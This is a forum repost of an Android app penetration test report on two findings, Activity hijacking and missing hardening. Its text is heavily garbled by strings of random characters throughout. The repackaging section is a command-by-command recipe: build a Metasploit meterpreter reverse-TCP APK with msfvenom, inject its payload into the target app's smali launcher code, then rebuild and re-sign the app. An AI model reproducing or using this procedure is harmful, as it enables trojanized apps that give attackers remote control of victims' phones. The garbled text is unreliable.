原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin · 发表于 2022-6-8 20:32:44

' |9 w$ `; x# ^8 a' P( K" |9 |& k2 @5 C
# A% o, R. y1 D R2 G J! } B & n! c# L6 G5 m% j- h

5 B9 C5 |# M2 s$ J6 d8 r& b 0 v: h I6 N* r& h5 x 文档编号： / c: h- [ P& e, l" [1 w* g - Q) J" {" ?' v- f6 t, j

1 o7 H& J8 @; U& Q3 [: V3 t {! L3 @6 I/ T( L. w+ E' i/ { ; q4 N1 G) e) @6 f8 d3 I& s 8 ~# S6 u1 G/ ^4 ?

d) |6 X# R$ u" | " Q, ~( Q }4 `; q& b) K* x . w' C0 ?5 T7 B8 _: a# P& t3 K * D0 m$ `$ I3 @: N) D) X

! U( ^' ?/ B, ?# p) x 8 b$ A& w, ~) b# P 8 T3 Z6 A8 J( b- t, w % X3 _* ~) h2 H4 N0 I

2 [; q$ C4 V% P ! ?- i3 F7 r$ @& T " @* C% e+ _' B9 J- s1 y- T# U0 q8 V . e# R5 w3 l8 l0 O! t

) k; S* b1 j/ T/ F( Y$ G , U* ?+ s( V% T+ F& ~ r 5 ]# I" S" [( U5 N7 m ) B/ q& s9 a- L! z& E

* f/ L# h. v" s3 M# W 4 t: u5 d) M/ }! K 某某某APP渗透测试 & i+ Y U c2 Y3 E* p & i* S/ q7 x* P2 ~( a7 {( c6 L1 A

2 w7 d; h% c9 y# V, ?6 u2 K$ k9 E* j* g% y' @) l. F ' R. Z3 [2 ~7 `) k% h/ U' y$ @' @" c/ L8 k5 G) Z

! c. `, r( {4 ^, [" Y# _- k+ v" J- s0 m6 \: V ' e& |* X: i( P; U- {0 i: ^1 ^3 i, {3 F6 ~% a) C1 u

2 B& c$ K6 T7 _0 i d% P; ^ 9 H1 G7 k# T9 V( q8 D8 G- M 5 M" o/ y2 x6 |! S; f { 7 Y7 k0 Q- ?) x, s( h

H+ Q1 u3 ]/ V3 O$ ] ! [( S( K6 z# [" m) O a: b 5 d4 o: ~* w A) {0 v) l 8 _. y4 z8 n6 V) \5 {

7 J# ]7 p8 ?/ ^ 3 @# Q6 B. X* W: h, d 技术报告 / d1 ]8 h3 i- n5 d 5 w) ]2 e. J. ^# o

$ j( F2 {2 Z. v: G( x4 t: j7 b # L' d; `0 R O) j) G 8 c# N/ {2 ~. {/ u4 P l ' h7 J _ j( k" X4 \

7 X( ~# p' {- [ o, g8 M: ~6 S5 |( ^ 1 G! K8 S2 K8 A( v' y2 r2 J5 O ) X1 O# U1 T. w: l- }

4 `9 W8 m8 k5 }( o8 e& L# I # L) }+ a0 K5 k: P3 x& A , z* { k( F7 s, E y6 ]# g+ M2 X1 s8 a

# k; w) V; C$ O 4 J6 Z, s* `/ y/ b$ p; z+ ` # h3 V" z4 H7 |" m; B : C$ W3 z: g: _; N+ P

9 f- K2 f& k- ~ 6 e8 p2 n, X% |) S 3 ?: \" @* h& ]% Q* Z: J 7 x- _, |) D2 }. r' u5 ]' i/ E

9 |# @% V8 i; T( o" e0 w" k" X2 l" r! I1 y# s 6 n. a9 b$ ^7 K8 \5 P3 P# Z - W1 Y4 }" |0 W1 j8 J

1 p" B, D$ T9 e' z9 U( _+ A9 i* I & P5 D5 T' S4 |+ W$ R : r, h6 N8 ?! x x$ ] " i3 I' Z- T/ v; W4 }& C7 y( U! ^

9 L$ N! }! R' I - D0 u% U4 A( ?: e" [ " {- I) G3 O, H3 `. j; n $ c; i- m; Q. N, d# D8 J

6 `' c G* S1 R0 E' U! j; P& ?) I4 r! ` h6 z & v1 O. M5 g2 j+ w4 v " i1 V* b: L3 f

1 R7 O& s2 A& M( b" T. z. u" T 3 D6 u9 d1 ]5 B9 c/ ^ 7 T9 k/ [0 \6 D$ b0 G/ | ' s% d. }4 q8 i) B% Z

5 O& Z: a [- L$ D ) A* W6 }1 ]; i8 o8 L& A" a8 e d 5 A. M' g7 C$ H4 F 0 m: @4 P& j) z! a4 t e a7 X

& d" s9 u$ _- O5 Y, s $ U5 ?/ S, }* p9 H) U$ ? ' b" @, Y6 Z! ` , {- x$ [. o9 Y8 U1 p6 } j$ z. n: R

. v& O2 r0 g. E$ |" f1 Q 7 t0 Q! a3 X% i ; |2 Z' [( A; B( s e }8 K$ T9 d: c: N, p e

! q5 r: @, J: Z6 q7 u ) w% `0 k4 v+ N" v % A8 A6 U9 I6 G7 F1 c8 P! Z n! G 9 W- [1 @, v u3 j: T9 W! P

3 D% X- k* [0 y/ _( i ' \% [! x7 N" i, q' F . V0 y# g+ n( T `2 C2 r5 Z- P7 j

/ R# ^% ~; a; R; p! f: Q + p9 r& f4 R, [ 3 H5 v# E: ~! L* W 3 {0 a! ~! M! |& B/ H6 M

$ J; G* J/ ~: W1 {& c. H# |( `, H& f% k( t 0 c! A- l" x: ?0 Q1 V * y$ s3 U3 O: Y% s) ?* |

. _& w f! v8 p W" o1 j6 H! K4 ]6 s3 j+ ~; _, e! R ' b0 O; L2 i( i) F- X( e ; ^5 h" j9 Z: }: X( h

- q: H; F7 e0 O* m+ B: Q9 d1 ~1 w 2 J6 F2 u: u% J6 } 二〇二〇年 + c4 l/ p7 P4 ^3 z- c 1 A$ S8 i# k: {: V) n7 t( a

1 }3 d; H) `& b( X 6 u2 w; n4 O7 L/ i# C0 r 目录 7 K2 C$ h8 Y' k. ?4 n2 N5 y, Z% b% o4 l6 A( `% q

6 {8 {9 N% {) L: K" ~ ! L) |# L3 u; p 4 f& C1 ~0 J2 G, F" A k ; k3 K- n9 k( P7 y& p1 v0 N7 A( g

- N; K' A5 ?: k: Y: r7 o U3 Q' J3 F3 u6 z 1 概述... 3 4 X2 m. h' r- h* s! i 5 ]) K& R- }* Y6 s+ O) `

& b5 i9 H9 Z- [9 b. }+ u: x; S" S1 q9 P% p5 J 1.2测试时间... 3 H |" z8 m+ b6 g+ O* f ; Z- B, D# j" p% ?/ o

/ c' k8 O0 S9 f1 N. f. E3 [6 @ , [# m$ Z' z: S 1.3测试对象... 3 - \3 F8 {; v; S6 H; F- \/ Z; k% _: J: c- b3 [& L1 R6 t3 f

6 S2 r7 P# m: ]/ [ . H" ^% B9 D) \* I6 Z( n: b8 K 1.4测试结果... 3 ( ]) Z0 F' }+ u7 M 6 h4 W( [1 s0 N3 f

( v' O: x% _. N0 G $ j0 `1 O7 k6 M# t! M 2 检测结果... 4 + e8 w- L) ^( |/ g1 P6 K 5 y: d6 i, i) p6 ], c" i

4 ?. b, t4 [0 \; u7 _ ]7 o1 [3 ^& c& H4 E7 S- \' m* s. `; z 2.1 某某某... 4 ! J% {- f( F% ~) @ # t2 A/ ^ a5 q9 q/ I' k8 C' |

5 M5 ~* L+ X# i8 }8 K* C ) u( T; _4 J& Y0 Z$ C4 M 2.1.1检测目标... 4 ( b! k7 q6 ?0 X ' a& D- U8 j1 w. g! N

3 Z( `# h4 F' C& ]% f* D 3 w( U' G9 ]2 ?; h8 A 2.1.2检测结果... 4 1 f: v$ x# O+ }" ~4 \7 w7 u; c! O' e

) z: a8 j! W0 U2 y. D. T5 [4 D/ r ; V3 E+ Y9 O' {" O 2.1.2.1. 4 7 U6 _2 Y4 {' h+ n : n% a {5 j6 i6 [* t. }; b2 |

+ h# p4 z) s. {2 o0 u + |; {; _# R2 v. U N: U( N" A 2.1.2.2. 6 p( v9 J3 @$ E1 [. X9 o/ y* ?; Q3 U

8 m9 q! s- x3 v2 q; {, Q: a7 y, K+ C- r" E5 N 9 @+ X; P: W6 e5 U% J j! s* i4 ~" r0 L9 \+ K

! q* R! N6 F5 l" x/ ~8 `; P0 C u! e/ B q' _ v7 m 1 概述 0 s# v+ y$ k5 H1 Y, \, F8 }: {3 k. B5 Q8 }/ X

& `- u% z+ { Y& Z2 F( L8 V) u4 g- g- O) E [8 \ 1.2测试时间 # C9 W2 m3 K5 M- {: I) _ : ?: ~* @$ n- s2 s! U7 c

5 _. S9 x* K$ o! @0 X % T* p& T& u2 _+ }, @ ) s$ a8 Z# i" n / a0 `; f2 \* ~3 ^( w 渗透测试时间 . g0 v9 U8 v' Q2 u ( J E) }5 D: \8 h% T : e* i* k& u5 [3 V3 x2 ^& {8 F1 r . f/ D* \|/ V6 z( c
2 P9 E$ U1 t: _2 \|* v- V7 L& U ' I/ g" \|; W' x/ L. S% m 0 h1 K) ?4 w" M, y8 x% F" t / V; _5 z# P" K1 v% q* q5 o 起始时间 4 I. D$ p0 g' r 5 c K6 d; n h0 E0 d$ } O. \2 j ' \9 a$ a" d/ Z( h2 U$ D, I' I) E- b; I* W	# @/ Y* U5 L, m/ V9 R , `0 G* g8 W* }- h : N1 N& K. @- E- Y3 k# r8 y5 ^) v) L! h* o 2020年4月6日 $ Q& W. T6 h, H' U" Q2 y; Q( ^ 9 k: c; c. b6 f f, w 1 Z ^& r9 x9 L t2 O* K- _7 ^1 i5 O$ m) ?3 H4 p5 ] Q
1 w, d r2 E/ v% y9 K) [ - g7 C. L2 J9 A . G0 {, \3 t: i# f : Y7 s9 j2 ?: W9 G 结束时间 \|6 L# @% o" i) g& V; \ & c2 l' U- X6 z' A' ~/ Q: J ! ~* q6 U& W9 M3 J . v5 [. X- W9 H- I# w: t3 x( ^	' \|- \|2 A a. Z5 \|* B; ~( q' A3 h' e! m8 @4 Y+ _4 j, n I( A3 P* V+ V: r% @3 f6 `$ d4 ^ F- B9 m6 k, B4 d 2020年4月9日 $ y+ q& z- a( s- z! q A7 m5 ?: V+ }% F1 H$ ]: q; W 7 W+ E4 q, R- }1 x* F! P / I. H( ]( @1 G* U; B$ U4 j

3 f: {! I9 h" ^) g- J 8 ~# a% U* H9 C/ G 1.3测试对象 ) \$ E. O1 Z6 a- m1 s: Y0 @# [" Q % l9 }: W- Q' Z% k0 S$ P( C, k3 S

: Y" N( E: x9 k. H; }1 M " R7 }' K! ]6 P8 J& _ 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： & D0 R$ R! E) \' i2 I + W6 l7 l9 N+ _; a/ k

% k+ B% y/ q# S6 o1 m/ @0 Q2 Q& u ( D$ ]$ W1 x2 H 表1-1 检测对象 0 O/ E9 a0 B6 W4 M# e& [8 w, H a( ^# n/ y( O+ Z0 N+ L% K Q

4 G) E5 A4 L! u& C' V% t 5 Y L+ i) ]7 T2 \|; X0 t 0 r$ Y" R& Z9 D1 N ( U( K) Z3 c6 I) a* c- A 序号 7 E8 ]3 n7 g/ [5 i* z; T) X$ k0 K1 u) \* e/ V' F) p : e3 i5 Q' a$ }7 y9 Z( p& P 5 }" D4 z" G5 n. z, \5 K. `- Z	( Z; h( f. Z, w! ^. E6 X 4 S% a0 \|. D3 e' M& ? 9 z8 h& o$ b9 ] 5 F, W0 ?. Z- j* w 测试对象 z! l4 T4 ~6 j; }1 I 2 N! c5 Y/ U. h , k8 G7 s/ y, _! H. z: ] ) N* a+ ~. Y' f7 o	p! a+ \3 c! @ 4 u4 ] ?0 P2 j) S% x6 i ) ~) K+ @6 s$ j2 S1 d$ e$ A 6 A: f, ?" m* T& c) H" v 测试地址 ! O D. S W" x% e3 w3 D- a+ ? ( A5 _- R' S1 y * F% O" I. e) p6 [ ! C- U+ Z6 L6 j Z- ^7 w	: d, L# \! m2 @2 Q% a- ~* {5 V9 u ( V, C6 C; D5 H& l 6 ?/ y" i8 o7 c8 C & N, F7 I! ^+ k% Y 安全漏洞 T3 }: [6 y1 Z" ]4 e/ N9 Z 2 I. X. Q) q8 f5 w. H3 \|- S9 f 2 [" L- k2 e6 P+ O- L+ d P8 @ * D7 `* _' u. u% R
; d' o' J" l; [' J / Z- ]5 {; B9 ~. ]7 W) W ) c) a) b: Y. {7 l+ \| : u' l! h& V# d 1 $ `7 M, o2 T0 b K3 J/ i& l ; ~( Z2 c6 \|7 b( e- M- g , c9 c0 }3 w# \|! Y. [; n+ d0 F1 j% @+ h) G9 O0 v& i	2 ~3 \/ u5 n- v9 b! a+ H) v+ ^$ _9 x, Z1 t8 q ) b2 S C% r q7 r1 X4 d \|: t7 ~" Q( y$ y7 o( f5 J; S$ I 某某某安卓APP 1 d5 j2 m# }! W: Y% i: J3 o' g4 g+ H, N5 g0 L3 ^ " ^% {4 o3 P3 w% U' y( n% g* \( J. s; H! i	+ V0 a1 t# \* ~% S/ B$ B$ x8 r& C , K1 {& _; u1 h9 h. ^ , l n" s) y6 v* ?9 j ) H5 c) K \|& J# X: V ; a( Y5 m, g2 H5 A" i) ^! S5 d" U- A) a - J! h9 Y7 q( _. W% y ) g4 D8 A& d: h) W. L" I& e	7 u- z/ m2 \1 V/ X 3 E: A/ g$ H8 K' O & Y2 C0 y8 ?" A# e% d* E - E8 v" d. t- a9 x- p2 K8 o; d; M 2 - J$ Q8 Q# m g+ E& i* G$ k* K / ]+ Q' I, h1 Q9 A2 D! K # V+ t a7 k4 Y( X: V \| 8 G' M, T. y! O& r

) F; n8 O S5 t( o) |2 C/ S 8 n2 E* |8 V) m; \5 K7 P D ^, U 1.4测试结果 - c% \: I0 ~7 _) b* J% d # G% I% E# v8 p: u( W1 ?. a

' |9 p$ g9 ~$ L . d" S" q7 g! O+ O) B, S 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： * }/ ^; ^0 C1 f& E" N 5 i( l( Y8 F6 x! i

1 T: O8 N# a: ~$ K& s 5 M [$ C5 Q6 U9 | h. p% U& |, H' g% h/ d' p ; \7 ~! Z/ Q% b* Y( e2 S, d0 z

( u$ R0 v3 N" ~7 d4 Y' ~ X" l: C / w( [1 } z' M4 z }! E+ i3 q& Q 序号 5 O3 K5 C4 @9 c- J ; ~+ Q6 X, k8 ~' ]

8 X4 i6 w4 c* E) t( `( f% g( g- k& P6 S5 O+ A# a L 系统名称 % V) i' F( j4 ^6 A& G Z! k$ ~5 `7 ~ b# E- Q

l9 ?# p9 d$ X2 n5 y$ n - C3 ?) p; e, y3 Z0 v" t4 F9 }" u8 e 漏洞名称 ! l: H1 ]) n5 g : `* d8 {, ^ D6 y) u) s$ e

& ~# s# @0 A* Q0 S$ x1 s" u- r8 a, W/ r4 H 漏洞危害 & c; b9 t; Z' X6 ]; P+ Q4 Y, [" l! l' r: O7 A8 P: e* g, y

. f6 D0 _( q7 _' v+ Q' ]& y 5 n4 R9 d7 O$ p+ p% O 修复结果 1 |2 O( @+ c2 D9 d& ? . a9 ]/ g; Q1 M" T8 a

: O( O P3 ~4 Y5 ?3 z0 {7 n: @$ n: h1 P& b A: _) k 1 ' o7 N5 J5 E5 x$ r+ T3 h- ]( ] % o) N" v2 Y. U* S: f! q* r

! m8 S7 M* k" j1 ~2 Z( G & `: T, z; }, \' m4 l4 F 某某某某某某APP 2 Q6 G: W8 k8 ^9 e- p + Y8 V2 H; m9 q( E3 l& B x

6 ]2 @5 X; {# {2 G! g / F0 k4 E/ p( m Activity 劫持 1 Q% _2 ?' ~9 T5 o# | ( T. V$ n* l4 `9 g% _

* o3 g2 B/ K/ A' l, L 0 P& N* o: J _! y ) ]! v. z- \& X! x ! n, N; m' K1 A- M+ V- I

9 p- I0 ^! k5 }0 G+ @4 { 0 X$ s. p: M4 Q1 v1 R8 @, G 高 . b1 L# N4 A; C2 W ! X: i' ^ J% F6 Q1 d

: p8 o9 b% \ z( Z 1 w! K; U6 F3 \6 e$ R6 V! U , b6 ]- o( a/ {2 _! d) h2 c $ H( Y1 k; A; N0 } ]

, C, s3 r* {9 j: @/ R" R/ ~; y! P $ Z( F1 \; b4 R) o9 g+ h 2 ) Y* L' T* I1 K5 y7 d - P9 m! X, W, M: y5 M5 F% W0 D) R6 T' ~

7 v {! z- C( y2 _6 K) l0 V 4 [# d1 e# m% X 某某某某某某APP 8 N& \. f L* T" U& e* U! S) g9 y* t$ s2 H! b+ C4 b; ]

M; P% Q5 j+ e8 G: M' Q- t3 F + ~5 d& O9 @0 B8 `8 J; t" f# z 反编译二次打包捆绑木马、篡改APP代码 . K- Z+ ^, D/ |8 I v3 J 2 V' `$ Q X: R% Z* C4 @

8 d6 A& O& y: M: v! T W4 e0 ~0 K* z" ~2 F6 m7 i' u" B& c4 L 高 3 a; G u* V! p: Q. G. G* o {2 z8 E9 R0 X; o

* O2 n( {6 n" F0 {) Q. X 6 n* E! J# J, S* ~ - a9 b5 d% z, o+ U 1 d- S& G6 e" i3 G% S) V

9 Y$ y9 K @6 L# r$ Q 7 x, Y: z1 H) p( l9 K / g- C6 m- Q6 M3 Q / O: I; B+ ]1 K; c5 d; }

: ]+ t5 a. {7 U9 J$ f7 I/ j/ a/ |: W 表1-2 测试结果 : g3 f2 D$ r6 X: { " j H! n/ P. j3 q' ?( F; x

0 `4 P& C+ Q) |- M0 { 5 L- Z' o) u# V9 J4 t! K. s5 P 7 w1 f4 C( m# M& b% d1 { - a, F% z3 l# _/ J2 z

/ `. b, q. X. ~! d: w( }; U3 `9 C1 j 2 检测结果 " W6 K( ~6 s5 |. T 2 s& \( H- A S

* A3 |0 s! i- F" _4 N ) O( \8 g- ?; x/ m 2.1 某某某 ) c+ M% K/ ^6 }: Z; M5 Y$ _, y 5 {# k4 _. v2 x5 J. ]; X

$ q& u; k3 ~! f2 Y) X6 A- \- @6 I% a9 K7 g 2.1.1检测目标 ) c; i9 H* I- Y w$ y3 ]0 r# m " h1 {4 |. _$ M1 Q* G' i) |" a/ y7 o

( W: }9 h( i$ x9 r I 2 l* N. r9 j; o( H$ Z 目标地址： 某某某某某某APP % P, P; i" b. ]2 F: D. K9 P# U3 m " J+ w2 O% X- U2 T7 B$ M: v

l9 G1 @( H; {+ S7 ^ 0 V( {2 A3 T8 z; { 2.1.2检测结果 4 V/ _) @! d- X1 ~ 0 `6 G' S; r+ P x2 Z( q& @+ ?

, x9 H" n8 l7 q6 ^5 P! ~. Q1 C * \4 L1 s7 A# g$ Y# B7 j 2.1.2.1 ! n% t' t" |% d! E: F: s" t t: `9 s) |: M. O

' B! }; q1 e6 m+ z" H' w 3 _# T* E; A2 p7 M' ?; V0 s 漏洞链接地址：某某某某某某APP % _$ k! `1 E: A7 V. D# C & q9 r- {( `9 t4 L; }" O' |

' q2 t2 G1 v# e0 V, M# ^: Q1 l8 p& D4 _% P ! k Y$ w0 ~& a u8 G4 X 1 u1 g0 @9 d6 b6 O+ O

& z; i5 ?" \9 T. w" Z- E* n& {* Q6 L* V 2 u0 F$ D- c. k7 F) }6 I2 i) W 漏洞分析及取证： ) a8 u# Q7 e1 Z( ] ! U& Q0 v8 a8 ] V' T- |

. K, x ~ j. w" |6 d. s S% I, x$ q/ |3 G" k5 X4 [( N 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： / u1 k1 Z( T' O6 Q6 f ( N% l1 K( l8 c! B1 r, K/ G

7 f' d; n. ] f: D1 X' j4 r ! m6 n* X& [: w6 f8 _ 9 t3 L$ I. i; J( w) {# p+ f. M % k2 s) Y: }$ Y. f) z6 H# U4 g$ W

: n) Q3 x9 w5 o7 J- L) v* ?2 {3 k7 x" T, U& @( F ) _0 n, w( ?4 o1 V2 U E( G; a6 A: j- S9 \# A

7 B4 z4 X( w# Z# y8 M 7 K- I& j7 v" o( V- S+ U$ X9 z " y1 n7 L4 E# i) |3 ^ + V, I3 o% n7 W* p

) D# H# x' s2 [ 2 z: ~4 C) ?0 D" f ) z% {! [% L, _2 G: }5 u & c4 D' p) }: J; U3 ?4 v2 v

0 A7 {" k" M8 t% k h& b$ h; v- y. R( M, }' c& k( @ [3 r) Y- A O ' o {, `' @* r/ u: P

: v+ D+ @9 Z6 Q; ?% H9 {+ L 6 Z6 h' ]0 D* {3 }8 q 漏洞危害：高 9 t8 H! x& u+ i0 J4 k/ O & s, H4 u7 [6 M5 Y. ~9 p! x& m* }

7 Y( B7 l9 k% _$ u ' T+ w( C4 b, O3 n. g # ?$ t, o/ G1 I4 {, Y0 l5 V1 e 4 g F" u* ~. F1 r, D; b) t! x6 O 严重程度 3 A* O) v5 B; V2 S0 t% K7 Z k' Q" K/ ]0 w$ T* x; E* a * i9 t0 a- v% F. C 7 o9 z% ~' s, B	% F* P7 g C9 y; `) C) F/ _5 p; g1 }6 x 2 {- E( k% s5 a8 d 8 \|2 Q! U& A% c5 E2 n 高 1 H* ~) o- z- \|: _8 Q0 Z . N! Q) C1 ^& J. h7 D# a ' x" @' ` v1 z1 w - i+ G3 L6 b" ^9 A) g" d	5 G0 a% X3 F$ y% U; h 4 y% ?" G& @7 I4 x7 I! X, F 9 z& b6 K, b/ `5 `4 B& m: G% U3 t6 \ ■ * k3 Q) l1 h! E- e% W, c, s' c 1 S: w" O. Y- @! `3 p! \) m. w , o7 Q9 i E" o$ y0 w+ S" }, l $ E! N3 f* N4 u( ~! l' X$ a+ h. y7 R	4 Y9 B# m" I: @5 z: j' z! _8 A 8 U% W7 L7 Z: o0 }$ O 3 w" f! M2 Q z- E. F( T' ` W: y 中 6 \|5 Y: w0 i, R/ [# k, L- G9 Z # H7 @# V; \|* P" s* D3 s ' Y' ?5 ]+ e1 X K# d+ W# E6 q" ~+ Q6 o& `# [; }, K/ z	* f8 F9 O# \; g' y# a" v+ G$ U7 [8 W3 h' v4 m1 \ ) p% r1 e+ q8 q( X2 s$ s! G& _% n( e) k1 o0 S3 T) X6 e { H" C+ ~* N! M7 H+ F / D6 \|+ I9 @- w: f$ V: i l $ c2 _# _/ z/ ~( Y2 N% R2 c0 X	2 {8 a) G0 K+ E' W# n4 ]! e 1 W" p0 o5 o' P0 L 0 H' A) m$ }# y7 ]+ r, T6 c 7 H$ d4 s5 @5 t- G/ T' x! m5 T: \% D# X 低 8 e& _) { M! K - F: G( R5 u5 q' d/ m/ G + D3 q( l% c5 o; U, b8 B# X4 }* v2 a3 m" K. @: l7 Q	( q2 v- w2 G) P& c 6 V7 r* Y; O( ]$ t- N " c0 q ]& D9 l/ K8 \$ i3 A4 R1 ^5 V& J. B. n / s( \|# _& T6 W3 ~" k! e! y " q$ Q) R, H- f( Y \|1 Q ; D- g" K- O/ f5 Z& s. \|) K ( X& ~0 D3 c8 B+ E# x

|# ]& T3 q2 |4 Y& X2 S& M; Z( [* P4 }% n# P+ `( m ) S* V: [7 U$ Z( f2 B: Q! e 0 t( d3 b2 k: ~

$ t# R1 ^' e0 S G) v/ k- K) ^+ p# H7 q/ c* ~4 r 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ' j" z) Z: m ^4 Q 2 B* A, x- C' B: n( o1 X! j9 f

' Y% v* _4 o! \! {# Y- J0 ] , H i( s7 ~; a : D/ M1 j& P8 a; ?4 [5 t; C" i' J0 N V7 m9 I) L A

1 [0 {* h$ F+ P7 @4 N( @6 e: `- G & x$ R8 p5 q% d1 z# I- O P+ Z 9 z- D8 v1 o5 H5 }$ I. |1 G8 T( L# E/ a% X

; S2 u" ]/ R5 m 5 p% ]6 a$ z6 h( f" q, | 2.1.2.2 ) b/ B- w5 m) T* d4 n 1 E2 }: Q& r+ X

u1 Y2 Y; _5 r B9 o! x% M ' u. R1 ?, Q- q0 ?* ^ 漏洞链接地址：某某某某某某APP . Y& X( q5 G; `" c " r7 r% S& H) k. w/ D

; ~8 F2 r: Z, \- `! V% X9 Z+ \% G 漏洞分析及取证： 4 O8 O# }. q7 Y1 f. Q 1 J7 I. k. w1 @' W$ i# y& \

- f& t# A0 y4 M 6 _. m7 A+ U2 t3 z! X p; U$ q4 i 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： # D+ D6 _5 r s; F 2 g" a3 n5 y8 `

6 J- Q0 \2 g- ^/ l3 |- K2 d 1 M9 ~2 P2 _* l 用Metasploit 生成木马 apk 4 l$ U$ F0 Q- D + N- }: E/ Q5 B+ g2 e

Z, R& a, |5 I5 f, W, _ , l/ s0 W1 l, ~! x msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk . {! e( w3 T- _) u, y, {8 v* n 0 [5 T: N9 A. X- @ Z

2 O- L8 P3 m0 j / g( l9 h. p F2 S) J4 b 反编译目标apk和木马apk ! K7 S, X" ?6 v; h" H# K, {0 G! Y6 }2 Y8 f! |$ d

V# _% A/ y) _5 r; ]3 U' i: Z9 A ! ^* S3 j$ B5 q. X0 ` apktool d target.apk
' I n: f; w5 C7 z; ?4 q 0 A1 Y2 Y, K5 Y' _( j. u! d apktool d cockhorse.apk 1 ^" l, C; I' E4 M, X2 v3 g$ F, {# l S% Y8 S

" E7 j3 R5 H, k) x 7 A% C: Y/ h0 Y2 W, \8 D6 M 木马 apk 注入目标 apk $ ~$ z6 T/ `8 c! B : r$ h& t/ Z. ^4 O

" P+ s, G6 |; R/ P, Q- F8 G7 t+ \; @) \7 @5 N3 X 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
% o6 M0 V$ Y7 G! w9 G6 q $ S' S4 E4 B4 m4 q invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V # O( ~4 H4 D' D) g: k 9 U6 P" n) t; e4 x0 m! K2 _

! x1 H5 j5 o+ w. Q$ r" o+ e i% z& R# V) F) l+ B; d 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 |5 t7 c! E0 ?8 R ) _6 |5 I4 g4 W5 _$ m Z0 I

, T. p4 C6 ^5 c% L $ u/ N e w* P8 I) O: `% B8 q; c 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 * h9 h6 B! o4 c, @# `% T0 f1 e# v8 s9 o& r6 E- o7 w" ?

$ O/ E: ?$ R3 c. }8 i " n! s) X+ x1 q' d( G 回编译生成最终 apk ' X* t- Q+ \7 i 9 m- t9 Y, `. _( G$ u

+ P2 e2 A* k( e4 ]. K 5 R, R! n+ O& w# R! l! g1 b 重新打包 / U. _* n3 W' d" L5 q/ j * k8 h" |+ s- a: y8 y

! x, a! ?* L" q' R 6 X7 ~9 M/ B ~ apktool b -o repackage.apk target_app_floder - L: D; ]5 C1 x! \! T6 M" G : \* n: f+ `+ \

/ ]/ y2 n9 q; p6 K) Q6 g' T1 y; M & i$ `. {, f( D. }% E- B( D* H$ o 创建签名文件，有的话可忽略此步骤 , q; I1 h/ E% R; l E7 J& r2 i; r- ?" x' _7 k+ q2 ^. y! o

; }; s. q7 {# Z, {( m" ] / _, F$ a: @! }1 d keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 - I9 [5 {" O j% Z/ q% o% | 1 A) K N, G# I$ Q/ A

. g6 c+ x! ]. U" T9 Y8 Y / C# _% i2 I4 C" r5 W, s5 H& a 签名，以下任选其一 # P! o0 ?6 D) x- i( b% z3 p. p 5 m$ @$ Q1 t3 J' a" S

- v% `2 w E4 D, g ( I7 X, Z3 K$ G8 N3 w, Z9 R! H/ y jarsigner 方式 0 L& g: E- G% P! X % i3 v+ R) J: d& f3 H

# s" C! O1 \& ^7 W' Z% ~4 h ( ?9 H" _9 t% c2 A" ] jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 I7 u% V, Q/ y1 R, Z+ l2 ?, _! Y7 U& q7 w. T

2 p& U, C; C5 M* D: K- M+ x$ v2 n# N6 p- ]! x- ^7 Y6 k( J apksigner 方式 9 R/ C [7 A7 D" I0 R2 a$ V/ ^: c 0 l3 @' a) G! w) v$ C/ \

* K* }/ y. U$ Q+ C. D $ Y# j) ~* q( u( Q$ U; z6 [ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk , u, j, K% u2 W3 O0 h ( N" F, o2 F& H. R9 _( Q

) K5 z0 ~9 E1 f0 p5 q 1 J% H* C0 @9 c. I8 r 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' j0 o) p4 T ~4 Q, ^3 l 2 A' o. ~* P/ [2 R

8 i' E) s7 f3 j8 `6 l6 i" Z, b' N9 \0 x; s 验证，以下任选其一 2 g0 g' [! O- B, L 9 J3 N4 ~5 V3 m; }

9 u8 G& ^9 c0 o i" D& r8 E5 U, m+ E- D& C) e, W jarsigner方式 1 [( J! D! C; n$ w- v% Y# q+ d / B9 C1 Z3 | K a1 `# E: i% Y

+ q0 ^9 G$ i; a " X- x+ @* J6 Z$ i jarsigner -verify repackaged.apk 6 b0 }, y9 B+ x7 C 5 o; g7 ^; [) l0 Z' E O

9 j* _, |/ M+ X( A$ N * Z% Z. h- S* n9 K! D8 \7 ^ apksigner 方式 1 J0 G( I2 S7 b 1 y2 r( I5 P1 Q9 U! ~* O

! Y- E" Q' @% B) h2 w4 \% U0 e6 s# K. z8 q. N3 P. H: z# b4 d apksigner verify -v --print-certs repackaged.apk & m% Z$ R+ w' E6 m2 y7 E* u8 t6 f2 [ $ J* v& y' f- H0 G3 E

8 g. K2 J! Q0 j* y+ | 0 H1 U$ S. m6 L9 t% X# X keytool方式 . d0 o `# l" i# q. W$ X' Z5 H& ]& n" x" C$ B& d7 o$ o2 q9 ?

9 ^. d9 e8 q8 U" y5 Z& S$ X5 v0 I2 I; A" u% c6 }) f keytool -printcert -jarfile repackaged.apk b% N, [ |; g0 I( G9 i / f0 H- t9 j0 ]' `

' S+ _; ?. G$ V+ A2 }" ?% Y9 k# Y9 { q6 t- _ 对齐 W7 L3 R. l; _1 V% y- } i7 _' {" X. p; v% N+ N

